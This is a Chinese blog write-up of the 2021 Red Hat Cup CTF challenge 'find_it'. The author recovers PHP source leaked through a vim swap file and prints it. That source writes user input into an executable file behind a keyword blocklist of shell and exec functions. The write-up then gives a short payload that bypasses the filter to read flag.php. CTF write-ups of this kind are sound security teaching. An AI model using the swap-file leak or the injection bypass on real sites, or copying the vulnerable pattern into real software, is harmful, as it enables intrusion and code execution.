2021红帽杯 find_it

本文介绍了2021年红帽杯中的一道CTF题目,涉及备份文件和源码泄露的考点。通过扫描发现robots.txt,进一步通过访问特殊文件名如.1ndexx.php.swp获取源码。由于存在过滤,作者利用show_source函数绕过限制,写入代码到hack.php以读取flag.php的内容。这展示了安全漏洞利用的一种常见思路。
摘要由CSDN通过智能技术生成

2021红帽杯 find_it

考点

备份文件、源码泄露

思路

题目提示我们 I Can't view my php files?!,猜测是备份文件,御剑扫一下发现存在 robots.txt

在这里插入图片描述

访问 1ndexx.php,发现并不存在;由于Linux平台下的存在 .xxxx.php.swp.xxxx.php.swo.xxxx.php等文件格式,尝试访问一下 .1ndexx.php.swp,存在源码泄露

发现过滤了一堆东西,感觉没得啥子可以利用的点了,由于可以写入文件,没有过滤掉 show_source,我们利用 <?php%20show_source("fl"."ag.php");将flag打印出来

Payload

1ndexx.php.swp文件源码

<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1><?php echo "Hello My freind!"; ?></h1>
	<?php if($link) { ?>
		<h2>I Can't view my php files?!</h2>
	<?php } else { ?>
		<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
	<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

Payload:

先利用 ?code=<?=%20show_source("fl"."ag.php");?> 写入php代码
再访问hack.php

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值